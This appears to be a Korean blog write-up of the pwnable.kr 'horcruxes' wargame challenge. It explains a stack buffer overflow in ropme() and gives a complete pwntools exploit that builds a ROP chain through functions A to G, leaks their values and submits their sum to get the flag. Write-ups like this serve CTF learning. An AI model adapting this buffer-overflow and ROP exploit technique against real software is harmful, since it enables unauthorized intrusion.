[Toddler's Bottle]
pwnable.kr horcruxes
아래와 같은 2개의 파일을 볼 수 있다.
32비트임을 알 수 있다.
먼저 main() 은 아래와 같다.
ropme() 함수의 일부를 보면 아래와 같이 플래그를 주는 부분이 존재한다.
이 때, sum과 같은 값을 입력해야 플래그가 출력된다.
s에서 overflow가 발생한다.
sum은 init_ABCDEFG() 함수 내부에서 확인할 수 있다.
a, b, c, d, e, f, g를 더한 값이다.
여기서 다시 ropme() 함수를 보면 A(), B(), C(), D(), E(), F(), G()를 호출하는 부분을 볼 수 있다.
각각의 함수 내부에서 대응되는 변수의 값들을 출력 해준다.
따라서 rop를 이용하여 A(), B(), C(), D(), E(), F(), G()에서 출력되는 a, b, c, d, e, f, g 값을 가져와 더한 값을 입력해주면 된다.
익스 코드는 아래와 같다.
# dpkg --add-architecture i386
# apt-get update
# apt install libseccomp-dev:i386
from pwn import *
# p = process('./horcruxes')
p = remote('localhost', 9032)
func_A = p32(0x809fe4b)
func_B = p32(0x809fe6a)
func_C = p32(0x809fe89)
func_D = p32(0x809fea8)
func_E = p32(0x809fec7)
func_F = p32(0x809fee6)
func_G = p32(0x809ff05)
call_rop_me = p32(0x0809fffc)
p.readuntil(':')
p.sendline('1')
payload = func_A + func_B + func_C + func_D + func_E + func_F + func_G + call_rop_me
p.readuntil(':')
p.sendline('A'*116 + 'B'*4 + payload)
p.readline()
ret_A = int(p.readline().split('EXP +')[1][:-2])
ret_B = int(p.readline().split('EXP +')[1][:-2])
ret_C = int(p.readline().split('EXP +')[1][:-2])
ret_D = int(p.readline().split('EXP +')[1][:-2])
ret_E = int(p.readline().split('EXP +')[1][:-2])
ret_F = int(p.readline().split('EXP +')[1][:-2])
ret_G = int(p.readline().split('EXP +')[1][:-2])
sum = ret_A + ret_B + ret_C + ret_D + ret_E + ret_F + ret_G
p.readuntil(':')
p.sendline('1')
p.readuntil(':')
p.sendline(str(sum))
p.interactive()
'Wargame > pwnable.kr' 카테고리의 다른 글
pwnable.kr [Rookiss] simple login (0) | 2019.05.14 |
---|---|
pwnable.kr unlink (0) | 2019.03.12 |
pwnable.kr uaf (0) | 2019.02.21 |
pwnable.kr memcpy (0) | 2019.02.13 |
pwnable.kr blukat (0) | 2019.02.11 |
댓글